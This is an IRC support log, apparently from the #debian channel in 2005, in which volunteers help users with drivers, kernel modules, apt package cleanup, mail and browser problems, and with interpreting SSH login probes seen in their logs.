| 02:57.47 | dvs | C17H21NO4: Yes |
| 02:57.51 | bluefox83 | how do i see what is using up my bandwidth? |
| 02:58.00 | Flimzy | bluefox83: iptraf might help |
| 02:58.06 | jstevens | bob2, Flimzy the confustion is that there's a string of literally 30 where line after line it says that and nothing about an auth failure or failed password |
| 02:58.17 | daww | dvs, I've pasted the XF86Config-4 file at: http://pastebin.com/249063 would you please change it and add it in pastebin and give me the URL and I'll be glad? |
| 02:58.23 | Flimzy | jstevens: where does the IP originate? |
| 02:58.35 | Flimzy | jstevens: Is it on your LAN, or somewhere else? or? |
| 02:58.52 | jstevens | Flimzy: External, I use 192.168.1. |
| 02:58.59 | bluefox83 | Flimzy, will that give me a list of the applications using my bandwidth? |
| 02:59.03 | jstevens | this is 202.64.77.75 |
| 02:59.07 | Flimzy | bluefox83: sorta |
| 02:59.34 | C17H21NO4 | dvs: Shouldn't the alsa script load them in the correct order? |
| 02:59.39 | Flimzy | bluefox83: It will tell you what connections are active, their src/dst IPs, src/dst ports, TCP/UDP/ICMP and how much data is moving |
| 03:00.03 | C17H21NO4 | dvs: or does discovery do that? |
| 03:00.18 | daww | dvs, Why I asked is because there's so many lines, hope I don't bother you |
| 03:00.18 | Flimzy | jstevens: Does this happen frequently? |
| 03:00.24 | dvs | C17H21NO4: The /etc/modules should load them in the correct order |
| 03:00.34 | Flimzy | That IP is from Hong Kong |
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| 03:00.45 | jstevens | Flimzy: this is the first time in a long time I've actually looked into the logs |
| 03:00.59 | jstevens | Flimzy: what did you do to determine that? |
| 03:00.59 | dvs | C17H21NO4: I don't think you need soundcore because snd-intel8x0 should load it for you |
| 03:01.07 | Flimzy | jstevens: Perhaps someone initiated 30 connections, but never attempted to authenticate |
| 03:01.07 | Flimzy | jstevens: whois <ip> |
| 03:01.31 | Flimzy | It's supposedly from a colocated server |
| 03:01.35 | jstevens | Flimzy: that one and 3 others are in there causing 170 lines worth of entries in the auth file |
| 03:01.41 | C17H21NO4 | dvs: what about snd? |
| 03:01.48 | Flimzy | jstevens: If you determine it's actually malicous, you might have some luck having the originator punished/removed from the colo network there |
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| 03:02.08 | dvs | C17H21NO4: snd should be fine too. You shouldn't need it. |
| 03:02.19 | Flimzy | jstevens: If I had to guess, I'd guess someone was probing for a known bug/exploit in your ssh installation. |
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| 03:02.38 | Flimzy | jstevens: The fact that you're able to view your logs probably suggests they didn't find what they were looking for :P |
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| 03:02.43 | jstevens | Flimzy: ok, I can give credit to that though |
| 03:02.47 | jstevens | Flimzy: ok, I can give credit to that thought |
| 03:03.10 | Flimzy | jstevens: It still might be worth it to report them to noc@pacific.net.hk |
| 03:03.37 | Flimzy | jstevens: (or other address where applicable for the other IPs) |
| 03:03.44 | bluefox83 | ok, someone is trying to gain access to my system..or already has..i need a way to block some ports.. |
| 03:04.01 | Flimzy | bluefox83: iptables/ipchains/ipfwadm, depending on your kernel version |
| 03:04.17 | Flimzy | bluefox83: altho blocking ports is probably one of the least effective ways of doing that |
| 03:04.28 | Flimzy | bluefox83: A better way is not to use software with root exploits |
| 03:04.31 | bluefox83 | ok, so what should i do? |
| 03:04.33 | jstevens | Flimzy: LOL ... they also did try logging in a *few* times, as "nobody", "games", "root", "operator", "irc", "www-data", "mysql", "backup" .... you get the point. the good news is they failed on each attempt |
| 03:04.37 | Flimzy | bluefox83: (altho even then, a firewall is still useful) |
| 03:04.45 | dvs | daww: You're trying to configure two mice at the same time right? |
| 03:04.49 | Myren | i just typed mv pkgconfig pkgconfig/.bk by accident and now hte dir is gone |
| 03:04.50 | Flimzy | jstevens: heh |
| 03:04.53 | Myren | what do i do :/ |
| 03:04.59 | Flimzy | jstevens: Most of those accounts aren't even possible to log into |
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| 03:05.52 | Flimzy | bluefox83: Well, first run the latest versions of software to take advantage of security patches. Second, set up a firewall. Third... why do you think someone has access to your system? |
| 03:06.12 | bluefox83 | because there's a lot o ftraffic on my system that's not usually there |
| 03:06.22 | daww | dvs, no, I just need the USB mouse |
| 03:06.23 | Flimzy | bluefox83: Where's the traffic from? |
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| 03:06.34 | bluefox83 | several different IP's and they keep changing |
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| 03:06.44 | Flimzy | bluefox83: There could be any number of explanations for that other than "someone has access to your system" |
| 03:06.53 | Flimzy | bluefox83: what port? |
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| 03:07.03 | bluefox83 | several, let me relaunch iptraf |
| 03:07.10 | dvs | daww: Oh, and that doesn't work? I'm surprised. You do have the usbhid module loaded? |
| 03:07.13 | Flimzy | bluefox83: or ports |
| 03:07.13 | Flimzy | bluefox83: Are they originating on your system? |
| 03:07.16 | knite | I've used "cut" to grab the fields that I want from a long list, now I want to combine the results into one line. Is there a quick text processing command i can use to do that? (basically convert newlines to spaces?) |
| 03:07.17 | jstevens | Flimzy: thanks for the assistance. |
| 03:07.27 | Flimzy | jstevens: np |
| 03:07.27 | bluefox83 | Flimzy, np |
| 03:07.34 | bluefox83 | *no |
| 03:07.46 | daww | dvs, btw I just want to say that I'm running a 2.6.8 kernel now that I've configured and compiled =) |
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| 03:07.58 | Flimzy | bluefox83: If they're not originating on your system, then nobody has access to your system |
| 03:08.01 | dvs | daww: That's good |
| 03:08.08 | bluefox83 | ports 9000 9999 and 32917 are the most common ones right now |
| 03:08.15 | daww | dvs, It took me 2 weeks ;) |
| 03:08.16 | Flimzy | bluefox83: You're probably the victim of standard vulnerability probing (like jstevens probably was wrt his SSH install) |
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| 03:08.42 | dvs | daww: Is the usbhid module loaded? |
| 03:09.07 | Flimzy | bluefox83: Someone's probably trying to see if you're using a buggy game/IM client/something to do something nasty to you. But you're using Linux, and not Windows... so you're probably safe. |
| 03:09.11 | Epix | hi. i wanna set it up so thatwhen a file is made in /var/www it is chgrped to web |
| 03:09.19 | Epix | and chmodded to g+w |
| 03:09.31 | Flimzy | bluefox83: You can still set up a firewall to block those ports, but it won't save you any bandwidth (except any replies you box sends to say 'sorry, nothing's running on that port') |
| 03:09.43 | bluefox83 | Flimzy, ok..it just worried me that i had a lot of traffic all of a sudden.. |
| 03:10.04 | Flimzy | bluefox83: Now days everyone on the Inernet has lots of traffic they don't want. It's practically unavoidable. |
| 03:10.11 | daww | dvs, hmm, how do I check that... |
| 03:10.15 | Epix | can i? |
| 03:10.17 | bluefox83 | i'm only running xchat on 3 servers, there really shouldn't be all this traffic.. |
| 03:10.29 | dvs | daww: lsmod | grep usbhid |
| 03:10.34 | bluefox83 | i'm not even running a browser atm |
| 03:10.38 | Epix | cuz right now when someone edits something it gets chgrped to them and then i get perm denied! |
| 03:10.39 | Flimzy | bluefox83: oh... you're on IRC.. yeah... that's a magent for bots to probe you |
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| 03:10.58 | Flimzy | bluefox83: Especially if you're on any of the mainstream IRC serves (DALnet, EFnet, etc) |
| 03:11.05 | daww | dvs, no it's not there, just usbcore |
| 03:11.07 | bluefox83 | sorcerynet? |
| 03:11.10 | Flimzy | bluefox83: make sure you're in invisible mode there |
| 03:11.11 | paueas | which better for imap courier-imap or cyrus-imap? |
| 03:11.16 | dvs | daww: modprobe usbhid |
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| 03:11.29 | Flimzy | bluefox83: If you're not invisible, anyone can do a /who and see your IP |
| 03:11.45 | Flimzy | bluefox83: If you're invisible, only ppl on a channel with you (in general) can see your IP. You'll cut down on bot traffic a lot |
| 03:11.54 | uGexe | I have installed a new motherboard so I reinstalled linux and windows. However my cd rom is not detected in linux (but is in windows and was in my old installation of debian). What gives? |
| 03:12.13 | Flimzy | uGexe: what kind of CD rom drive? |
| 03:12.26 | bluefox83 | Flimzy, the servers i am on use masking, they couldn't see my ip unless they were admin |
| 03:12.38 | knite | it's not paste.. it's not join... hmmmm |
| 03:12.39 | Flimzy | bluefox83: that's good |
| 03:12.41 | uGexe | Flimzy: just a regular no name cd-rom, IDE |
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| 03:12.56 | Flimzy | uGexe: what's the device name? |
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| 03:13.05 | Flimzy | uGexe: does it not show up in dmesg at all? |
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| 03:13.31 | daww | dvs, "debian:/etc# modprobe usbhid" just give me "debian:/etc# " |
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| 03:13.41 | uGexe | Flimzy: it happens during the install |
| 03:13.50 | dvs | daww: Restart X and try it now |
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| 03:14.09 | daww | dvs, aiight |
| 03:14.47 | Epix | help! |
| 03:14.52 | Flimzy | uGexe: what happens? |
| 03:15.03 | jmd | I ran base-config, and setup the MUA using the "Smarthost: No local mail" option. However it still tries to deliver mail locally. Which means that I can't send mail unless it's on a completely different domain. What gives? |
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| 03:15.21 | daww | dvs, is modprobe usbhid loading usbhid as a module? |
| 03:15.33 | dvs | daww: It should |
| 03:15.42 | dvs | daww: Do lsmod | grep usbhid now |
| 03:15.47 | uGexe | Flimzy, during the install it just asks if i have a floppy with the cdrom drivers... but ive used this cdrom with the same debian install... only the mainboard is different |
| 03:16.17 | Flimzy | uGexe: Are you sure the drive is plugged in and jumpered properly? |
| 03:16.30 | Flimzy | uGexe: you shouldn't need any drivers for that |
| 03:16.32 | uGexe | Flimzy, yes, it even works in windows |
| 03:17.21 | Flimzy | uGexe: BTW, why are you reinstalling? |
| 03:17.23 | Flimzy | uGexe: did you get a new HD, too? |
| 03:18.00 | knite | ahh.. i got it... cat input.txt | cut -f 1 -d # | tr \r\n " " |
| 03:18.04 | uGexe | Flimzy, no just a new mainboard. im still under the windows mindset i suppose where new mainboard = new install |
| 03:18.11 | travisat | man putting linus on an ipaq is harder than you would think |
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| 03:18.40 | Flimzy | uGexe: Well get out of that mindset. |
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| 03:19.04 | Flimzy | uGexe: And just boot Linux and be happy. You'll likely want to recompile your kernel with drivers for your new hardware |
| 03:19.16 | cef | travisat: Linus may object to being crammed onto a device that small, and his family may not like it either.. *grin* |
| 03:19.24 | Flimzy | BTW, I rarely do a new install with a new mainboard in Windows, either |
| 03:19.29 | Flimzy | (altho that's admitedly much more painful) |
| 03:19.56 | lex | Anyone here uses lbxproxy? |
| 03:20.07 | felton | !asshole |
| 03:20.42 | travisat | well at least its in color |
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| 03:21.13 | daww | dvs, ok, the USB mouse is still dead, I've even rebooted |
| 03:21.13 | felton | dpkg? |
| 03:21.48 | dvs | daww: What does "lsmod | grep usbhid" say? |
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| 03:22.14 | travisat | I wish I had enough space to put debian on it |
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| 03:23.58 | daww | dvs, "debian:/# lsmod | grep usbhid" give me "debian:/# ", nada |
| 03:24.15 | dvs | daww: "modprobe usbhid" |
| 03:24.26 | C17H21NO4 | How do I get bitchX to highlight msgs sent to me? |
| 03:24.36 | travisat | I thought it did that |
| 03:24.55 | daww | dvs, after that modprobe usbhid gives me "usbhid 31296 -" |
| 03:25.10 | dvs | daww: Good. Now does it work? |
| 03:25.13 | daww | dvs, as before, why is this reseted since last time? |
| 03:25.31 | dvs | daww: usbhid is not in your /etc/modules file |
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| 03:26.34 | daww | dvs, The USB work sometimes, sometimes not, now it works but the pointer is running all over the scrren when I even put a finger on the USB mouse |
| 03:26.54 | jstevens | C17H21NO4 it should show them w/ red or purple text.... |
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| 03:27.27 | C17H21NO4 | jstevens: Well it's not! ;) |
| 03:27.41 | dvs | daww: Im not sure how to set the sensitivity of a USB mouse. Sorry. |
| 03:27.44 | Flimzy | daww: sounds like you have the wrong driver |
| 03:27.54 | jstevens | C17H21NO4: is my name in yellow text in this message? |
| 03:28.01 | Flimzy | daww: reconfigure gpm and/or X |
| 03:28.10 | C17H21NO4 | jstevens: No |
| 03:28.30 | jstevens | C17H21NO4 if it's not colored at all then it's not a bitchx problem |
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| 03:28.39 | Biovore | <PROTECTED> |
| 03:28.47 | bob2 | lord |
| 03:28.51 | jstevens | C17H21NO4 you might want to change your terminal settings as color is disabled |
| 03:28.52 | bob2 | C17H21NO4: #bitchx |
| 03:28.56 | bob2 | bitchx is off-topic here |
| 03:29.09 | jstevens | 'night all |
| 03:29.22 | RedPenguin | What is meant of this error |
| 03:29.22 | RedPenguin | ssh_exchange_identification: Connection closed by remote host |
| 03:29.24 | RedPenguin | ? |
| 03:29.26 | daww | dvs, btw, it rightclick sometimes even if i dont |
| 03:29.37 | RedPenguin | The SSHd works LAN wise with that address |
| 03:29.41 | RedPenguin | But WAN wise, gives that error |
| 03:29.50 | RedPenguin | The machine is DMZed |
| 03:30.10 | daww | dvs, it right-click sometimes if I continue to move the mouse |
| 03:30.23 | dvs | daww: What does "grep USB_HID /boot/config-$(uname -r)" say? |
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| 03:30.31 | dvs | daww: it should be three lines. |
| 03:31.11 | daww | dvs, "CONFIG_USB_HID=m, CONFIG_USB_HIDINPUT=y, CONFIG_USB_HIDDEV=y" |
| 03:31.22 | dvs | daww: That's OK. |
| 03:31.41 | dvs | daww: I don't know what it is then. |
| 03:32.16 | daww | dvs, dammit, and the mouse port is configured as /dev/input/mice in dpkg-reconfigure xserver-xfree86 |
| 03:32.45 | daww | dvs, do you think it can have something to do with mousedev? |
| 03:33.19 | dvs | daww: mousedev shouldn't be loaded anymore |
| 03:33.33 | daww | ok, just checking |
| 03:33.48 | daww | dvs, ok, just checking |
| 03:34.03 | dvs | daww: Also, if your mouse has a mouse wheel or at least three buttons, you should delete Emulate3Buttons line too |
| 03:34.12 | Flimzy | daww: Try gpm. |
| 03:34.12 | Flimzy | daww: If you get gpm working, you can use use the passthrough device for X |
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| 03:34.39 | daww | dvs, it has 6 buttons |
| 03:34.54 | dvs | daww: Delete the Emulate3Buttons line |
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| 03:37.19 | daww | dvs, ok, scroll events should be ok, Is it just to logout or do I have to reboot? |
| 03:37.38 | dvs | daww: Restart X (not the entire linux) |
| 03:38.03 | dvs | daww: I guess that means logout to you |
| 03:38.24 | daww | dvs, I'm quite sure about that |
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| 03:41.08 | daww | dvs, the problem persist |
| 03:41.45 | dvs | daww: What does "dpkg -l gpm" say? |
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| 03:42.52 | dvs | daww: I just need the last line |
| 03:43.28 | daww | dvs, what is evdev, I'd read something about evdev for Logitech MX 500 at some forum, not that I have loaded it |
| 03:43.50 | daww | dvs, anyway "dpkg -l gpm" say "http://pastebin.com/249079" =) |
| 03:44.14 | dvs | daww: I never heard of evdev |
| 03:44.39 | daww | dvs, ok, have you checked out http://pastebin.com/249079 |
| 03:44.54 | dvs | daww: Yes, that's one less thing it can be. |
| 03:45.05 | dvs | daww: I don't know what it could be then. |
| 03:46.03 | daww | dvs, is "dpkg -l gpm" looking fine for me? |
| 03:46.19 | dvs | daww: Yes, it's not installed |
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| 03:46.48 | daww | dvs, gpm? |
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| 03:47.04 | daww | dvs, What is gpm anyway? |
| 03:47.11 | dvs | daww: apt-cache show gpm |
| 03:47.57 | daww | dvs, should I install it? |
| 03:48.10 | dvs | daww: No, it will just complicate things. |
| 03:49.19 | daww | dvs, Ok, hmm, stucked then, really don't like the PS/2 mouse. The USB was ok in the old kernel if i'd pluged it after the autoprobing |
| 03:49.55 | dvs | daww: And you have hotplug installed? |
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| 03:50.46 | travisat | YaY! I just got linux installed on my old ipaq |
| 03:51.03 | travisat | it only took 3 hours |
| 03:51.46 | C17H21NO4 | travisat: took me 10 mins :) |
| 03:51.47 | daww | dvs, Support for PCI Hotplug, no |
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| 03:52.03 | rixth | Here's a noob question, where is the 'startup' script? |
| 03:52.06 | dvs | daww: What does the last line of "dpkg -l hotplug" say? |
| 03:52.06 | travisat | C17H21NO4: well aren't you special |
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| 03:52.37 | daww | dvs, "ii hotplug 0.0.20040329-17 Linux Hotplug Scripts" |
| 03:52.54 | dvs | daww: I'm all out of ideas then |
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| 03:54.47 | rixth | Here's a noob question, where is the 'startup' script? Ie, waht daemons to start at startup |
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| 03:55.28 | wilbertoki | I want to save electricity, can I have my debian apache server suspend at night/when not in use |
| 03:55.30 | daww | dvs, Ok, big thanks again, you have spent more then a hour on my problem |
| 03:55.32 | mohohaha | rixth: if you have to ask them, you don't need to know |
| 03:55.44 | dvs | daww: np. |
| 03:56.20 | daww | dvs, Things will be sorted out sooner or later |
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| 03:56.46 | dvs | daww: True. If I have a linux problem, I usually solve it the next day. |
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| 04:02.47 | rdr | How do I get Debian to mount my usb ports Im new so pls try to make it simple Thanks |
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| 04:03.11 | dvs | rdr: What chipset do you have? |
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| 04:03.24 | rdr | intel |
| 04:03.34 | dvs | rdr: What does "uname -r" say? |
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| 04:04.23 | rdr | 2.6.10.022805.1 |
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| 04:04.44 | dvs | rdr: Try "modprobe uhci_hcd" |
| 04:05.35 | try_catch_this | whats the command to delete the out dates/unused packages? |
| 04:05.45 | try_catch_this | out dated* |
| 04:06.10 | madthinker | is anyone here familiar with offlineimap? |
| 04:06.21 | bob2 | yes |
| 04:06.23 | bob2 | !+cyrus |
| 04:06.28 | rdr | bash: modprobe: command not found |
| 04:06.32 | bob2 | !+test |
| 04:06.36 | dvs | rdr: as root |
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| 04:07.04 | bob2 | ~test |
| 04:07.05 | apt | OH FUCK! OH FUCK ME! I didn't study!! |
| 04:07.13 | bob2 | ~cyrus |
| 04:07.14 | apt | cyrus is, like, the CMU Cyrus mail system. It supports IMAP, POP3, NNTP and many other mail related protocols. It's homepage is at http://asg.web.cmu.edu/cyrus/. |
| 04:07.14 | dvs | hahahahaha |
| 04:07.24 | bob2 | ~listkeys trust |
| 04:07.50 | madthinker | offlineimap doesn't seem to want to sync the right directories. |
| 04:07.57 | bob2 | it doesn't sync directories at all |
| 04:08.01 | bob2 | it syncs imap mailboxes |
| 04:08.06 | madthinker | right, sorry. |
| 04:08.15 | rdr | doesnt do anything just comes back to prompt |
| 04:08.16 | bob2 | I say that because it confused me |
| 04:08.32 | bob2 | use evolution or something to make sure your mailboxes are showing up the way you expect them to |
| 04:08.33 | madthinker | it's going one directory too deep. |
| 04:08.58 | dvs | rdr: Good, that means it should work: As root do "echo uhci_hcd >> /etc/modules" |
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| 04:09.19 | bob2 | madthinker: sounds like an imap config thing |
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| 04:10.29 | madthinker | well, it's putting the mails in the INBOX dir in my Maildir, rather than just in the new dir. |
| 04:10.35 | madthinker | does that make sense? |
| 04:10.51 | madthinker | "new" dir, that is. |
| 04:10.59 | try_catch_this | whats the command to delete the out-dated and unused packages from /var/cache/apt/archives ? |
| 04:11.21 | dvs | try_catch_this: apt-get clean |
| 04:11.31 | bob2 | no |
| 04:11.34 | bob2 | autoclean |
| 04:11.34 | peterS | try_catch_this: apt-get autoclean |
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| 04:12.02 | tga | rm -rf /var/cache/apt/archives |
| 04:12.02 | bob2 | madthinker: right, it treats the inbox specially |
| 04:12.06 | bob2 | as does imap, afaict |
| 04:12.13 | peterS | tga: that may or may not work properly |
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| 04:12.19 | try_catch_this | k |
| 04:12.25 | tga | that's what I'd do :\ |
| 04:12.26 | dvs | Oh. You're right. "clean" cleans out everything |
| 04:12.29 | peterS | tga: if you do it, best to do 'mkdir -p /var/cache/apt/archives/partial' afterward |
| 04:12.42 | peterS | tga: anyway, 'apt-get autoclean' and 'apt-get clean' exist for a reason |
| 04:12.43 | madthinker | bob2: i guess the issue is with my mail client not going into the right folder? |
| 04:12.45 | tga | peterS: I'll try to remember that |
| 04:13.00 | bob2 | madthinker: oh, you only have one folder on the imap server? |
| 04:13.30 | rdr | dvs do I use that as one command with the >> |
| 04:13.37 | madthinker | well, through my mail client i was able create a .drafts and .trash folder in my home Maildir. |
| 04:13.45 | dvs | rdr: yes. exactly as shown |
| 04:13.46 | madthinker | i'm using thunderbird. |
| 04:13.58 | dvs | rdr: without the quotes |
| 04:14.09 | rdr | just comes back to prompt |
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| 04:17.45 | rdr | dvs just comes back to prompt |
| 04:17.54 | dvs | rdr: good |
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| 04:18.05 | dvs | rdr: Your USB should work now |
| 04:18.27 | rdr | ok will check it out |
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| 04:20.13 | daww | dvs, is php avalible vi apt? apt-get install php doesn't work |
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| 04:20.32 | dvs | daww: apt-cache search php |
| 04:20.47 | mwilson | All these peeople... making up package names at random instead of looking at the package list... |
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| 04:21.19 | sinner | what package gets me /var/log/debian-installer/cdebconf/questions.dat ? |
| 04:21.25 | dvs | yeah! |
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| 04:21.54 | daww | dvs, ah, at the top of the list |
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| 04:22.15 | dvs | sinner is it installed? |
| 04:22.25 | sinner | no. |
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| 04:22.31 | daww | dvs, the weird is that php4 is just availible, PHP 5 is the newest |
| 04:22.55 | sinner | maybe part of debconf? |
| 04:22.58 | dvs | daww: Debian is weird that way? ;-) |
| 04:23.12 | sinner | debconf-get-selections --installer > preseed.cfg |
| 04:23.13 | sinner | debconf: DbDriver "di_questions": could not open /var/log/debian-installer/cdebconf/questions.dat |
| 04:23.15 | dvs | sinner: no |
| 04:23.20 | daww | dvs, doesn't trust apt in this case, why is there no php5 |
| 04:23.39 | dvs | daww: It's not packaged yet. |
| 04:23.47 | daww | dvs, ah, ok |
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| 04:27.09 | Tarkus | is it possible for me to set up a dual boot with Debian Linux and Windows XP Professional?? |
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| 04:27.21 | dvs | Tarkus: I hope so |
| 04:27.23 | Tarkus | but not have to wipe or lose anything |
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| 04:27.46 | streuner | Tarkus: yep |
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| 04:28.10 | streuner | Tarkus: if you have free space - nope |
| 04:28.43 | Tarkus | streuner: what u mean is i have free space - nope? |
| 04:29.02 | Tarkus | streuner: so if i have free space then i cant dual boot debian with windows? |
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| 04:29.33 | Tarkus | i dont understand.. |
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| 04:29.55 | streuner | Tarkus: /msg dpkg ig |
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| 04:30.10 | Tarkus | ???? |
| 04:30.33 | streuner | Tarkus: type that into your irc-client '/msg dpkg ig' |
| 04:30.38 | vircuser | Does anyone know if the AMD k7 motherboards were ATX? |
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| 04:30.47 | Tarkus | i just did |
| 04:30.49 | sean_micken | hey |
| 04:31.04 | C17H21NO4 | vircuser All the ones I have owned were |
| 04:31.05 | Tarkus | and it said this dpkg No such nick/channel |
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| 04:31.11 | sean_micken | do they nvidia drivers work with just the kernel-source packages from debian? |
| 04:31.12 | streuner | oh |
| 04:31.29 | vircuser | C17H21NO4; You think all of them were? |
| 04:31.31 | falconX | I have a problem with using a 2.6.11 kernel, I keep getting kernel panics on boot |
| 04:31.32 | vircuser | besides micro |
| 04:31.39 | streuner | Tarkus: /msg apt ig |
| 04:31.41 | sean_micken | ...the nvidia-kernel-common and nvidia-glx from apt? |
| 04:32.08 | Tarkus | streuner: thank you |
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| 04:33.01 | C17H21NO4 | vircuser: I think some of the K6-2's were AT, but I think all the K7's are ATX |
| 04:33.03 | streuner | Tarkus: use partition magic to make some free space and run d-i, done |
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| 04:33.45 | vircuser | cool thanks |
| 04:34.15 | Corallis | can anyone recommend any software for recovering lost data on a dead hard drive? |
| 04:34.34 | dasunt | There was K6-2/3 boards with AT and ATX. |
| 04:34.55 | dasunt | Corallis: Does it spin up? |
| 04:35.09 | Tarkus | streuner: partition majic?? |
| 04:36.10 | streuner | Tarkus: never heard of partition magic? well, some windows app to manipulate the filesystem |
| 04:36.12 | Corallis | dasunt: nope |
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| 04:37.06 | try_catch_this | anyone ever try to use up the full 1 gb of gmail space? (just to see if it would let you) |
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| 04:39.01 | hlp_me | is it normal, that mozilla all of a suddet on new tab starts to hoag the cpu like mad, and after a while crashes? i can see it using up also 100% of ram... but swap is not being used... |
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| 04:40.14 | deadcat | mwilson: can you send me or email me the vimrc? |
| 04:40.31 | dasunt | Corallis: Google for 'dead drive' and 'freezer' |
| 04:40.32 | hlp_me | deadcat try to get the one from /etc? :) |
| 04:40.43 | deadcat | hlp_me: HIS |
| 04:40.52 | hlp_me | okay, sorry :) |
| 04:40.56 | Corallis | dasunt: thanks |
| 04:41.01 | hlp_me | i wonder what is so special about his :) |
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| 04:41.33 | deadcat | hlp_me: he has some stuff the default vimrc doesnt. even i have some stuff in my .vimrc the default doesnt. |
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| 04:41.53 | vircuser | oh my god theres a real hitchhikers guide to the galaxy movie trailer now |
| 04:41.54 | dondelelcaro | !status |
| 04:41.54 | dpkg | Since Fri Mar 4 04:41:27 2005, there have been 0 modifications, 0 questions, 0 dunnos, 0 morons and 0 commands. I have been awake for 28s this session, and currently reference 25225 factoids. I'm using about 13896 kB of memory. With 0 active forks. Process time user/system 3.34/0.1 child 0.01/0 |
| 04:41.59 | hlp_me | deadcat so do i ... but i wonder is there really that much to change? |
| 04:42.09 | deadcat | hlp_me: there is. |
| 04:42.12 | hlp_me | okay |
| 04:42.14 | mwilson | deadcat: Huh? |
| 04:42.31 | deadcat | mwilson: you said you have something for VimCrypt~ in line 349 or something |
| 04:42.37 | bob2 | dondelelcaro: it was very very laggy earlier |
| 04:42.54 | streuner | dpkg, wb |
| 04:42.54 | dpkg | thanks, streuner. It's good to be back. |
| 04:42.57 | mwilson | I have a whole chunk of my vimrc devoted to enctypted files, if that's whatyou mean. |
| 04:43.06 | deadcat | mwilson: ya. |
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| 04:43.35 | hlp_me | anyways, is there a good way to check if swap working? cause i can't see when it uses teh swap, with high cpu utilization and ram used 100% |
| 04:44.01 | deadcat | free |
| 04:44.16 | hlp_me | Swap: 0 0 0 |
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| 04:45.32 | mwilson | deadcat: You need to accept the DCC |
| 04:45.37 | hlp_me | at the moment i have rougly 50% free ram... but sometimes mozilla crashes when trying to load new page (cpu load 100% ram 100%) and roughly after 10-15 minutes it crashes.. swap remains empty |
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| 04:45.52 | deadcat | mwilson: i dont know how. can you just email it? |
| 04:46.14 | mwilson | I don't have your mail address |
| 04:46.20 | deadcat | freeshell.org |
| 04:46.46 | mwilson | The *whole* address would be nice |
| 04:46.53 | deadcat | deadcat@ |
| 04:47.15 | hlp_me | so, any ideas? |
| 04:48.03 | Gumby | does anyone here have much experience with NFS? I am running debian sarge on two machines and I can write data to the NFS share however ONLY if it is 4.1MB or smaller. Otherwise it fails to write and gives a permission error |
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| 04:50.17 | deadcat | mwilson: whats the vim: nu tw=0 thing in comment? |
| 04:51.14 | bob2 | Gumby: is there any network stuff between them? |
| 04:51.16 | bob2 | broke routers? |
| 04:51.31 | mwilson | It's a modeline. |
| 04:51.51 | mwilson | :he modeline |
| 04:52.25 | Tabitha | in sarge, firefox and mozilla tend to crash whenever I come across something with a java plugin. I've asked dpkg about java and java-package, but there appears to be no java-package available through apt-get... can anyone point me to the proper way to bring java support to firefox/mozilla proper? |
| 04:52.33 | Gumby | bob2: there is one switch. I can however transfer data from the NFS server to the client without issue |
| 04:53.01 | bob2 | Gumby: maybe try using the userspace nfs server and see if it helps? |
| 04:53.50 | Gumby | bob2: hrm, I will maybe check that out, but what is it exactly? |
| 04:53.59 | bob2 | an nfs server in user space |
| 04:54.08 | bob2 | at least it'll help narrow the source of the problem |
| 04:55.12 | C17H21NO4 | Tabitha: Don't know if it is proper, but I got it from java.com. It's not included due to licensing restrictions |
| 04:56.34 | deadcat | mwilson: your encrypt section is all gpg, no vimcrypt related. |
| 04:57.10 | mwilson | deadcat: Yes, but the idea is the same... no viminfo, no swap, binary mode, etc, etc. |
| 04:57.28 | mwilson | deadcat: <shrug> Erase it if you don't need it. |
| 04:57.43 | Tabitha | C17H21NO4, I downloaded it from java.com as well.. but I don't understand why it keeps freezing up the browser |
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| 04:58.10 | Tabitha | it's no where near as stable as java on window |
| 04:58.11 | Tabitha | s |
| 04:58.14 | C17H21NO4 | Tabitha: Which plugin are you using, there are 2? |
| 04:58.33 | deadcat | mwilson: your gpg stuff are based on the filename extention. my vimcrypt files has no extentions |
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| 04:59.07 | mwilson | <shrug> |
| 04:59.12 | mwilson | Just trying to help. |
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| 04:59.17 | deadcat | (= |
| 04:59.20 | mwilson | Erase, then. |
| 04:59.33 | deadcat | those fuckers in #vim dont know or dont want to help either. |
| 04:59.59 | Tabitha | C17H21NO4, I'm not sure.. how do I find out? It's been a few months since I installed it |
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| 05:01.11 | C17H21NO4 | Tabitha: Look in the plugins dir and see which one it is symlinked to. |
| 05:01.27 | cur67 | Excuse me im looking for cprogrammer52, has anyone ever heard of him or does he frequent this channel? |
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| 05:01.54 | simonrvn | !seen cprogrammer52 |
| 05:01.55 | dpkg | cprogrammer52 <~cprogramm@dialup-207-44-138-38.ev1.net> was last seen on IRC in channel #debian, 110d 20h 51m 40s ago, saying: 'Oh Hey Guerin, i remmber you.. seriously'. |
| 05:02.05 | simonrvn | cur67: ^^^ |
| 05:02.24 | cur67 | Thanks man, is he a bot? |
| 05:02.35 | simonrvn | dpkg: what are you |
| 05:02.35 | dpkg | I am a blootbot. For more info see <blootbot> |
| 05:02.45 | simonrvn | ;) |
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| 05:03.48 | Tabitha | C17H21NO4, /usr/local/jre1.5.0/plugin/i386/ns7/libjavaplugin_oji.so |
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| 05:05.19 | C17H21NO4 | Tabitha: Should be the right one, I haven't had it crash at all though. Did you do the update on firefox? |
| 05:05.30 | Tabitha | C17H21NO4, ? |
| 05:05.40 | Tabitha | what do you mean "did I do the update on firefox?" |
| 05:07.10 | C17H21NO4 | Tabitha: It automatically checks for updates and informs you with an icon on the toolbar. Clicking it will install the update, which I haven't done. Updating it sometimes ruins the profile. |
| 05:07.27 | Tabitha | C17H21NO4, No, only apt-get updates |
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| 05:08.25 | C17H21NO4 | Tabitha: Try creating a second profile and see if you can recreate the crash. |
| 05:08.43 | Tabitha | ok |
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| 05:09.58 | Tabitha | well.. this page that wasn't loading suddenly is after deleting $home/.mozilla |
| 05:10.01 | Tabitha | so that's promising :P |
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| 05:10.33 | nycab | hey |
| 05:10.48 | nycab | i just upgraded perl, and most everything that uses perl segfaults |
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| 05:15.17 | zu22 | don't everyone talk all at once! LOL |
| 05:15.25 | redmoth | i am having trouble with e2fsck when booting....it is telling be that an ext3 filesystem has an unsupported feature(s) |
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| 05:16.23 | redmoth | i have searched the google, but no luck, Google only had 3 results when i typed in the error message |
| 05:17.06 | redmoth | and i didnt understand those, cause one was a cryptic mailing list thread and the other two were in some other language |
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| 05:17.31 | TheZanke | what is a good proxy daemon for debian? |
| 05:17.42 | C17H21NO4 | redmoth: I got on a failed drive before |
| 05:17.44 | fusion | squid? |
| 05:17.47 | TheZanke | i want to run an anonmyous proxy from my pc |
| 05:18.10 | redmoth | well, its a brand new drive....ive only had it for a week |
| 05:18.10 | fusion | squid will do that |
| 05:18.38 | redmoth | its a 120GB drive....could the size be an issue? |
| 05:18.52 | redmoth | i tried to partition it into 30GB parts |
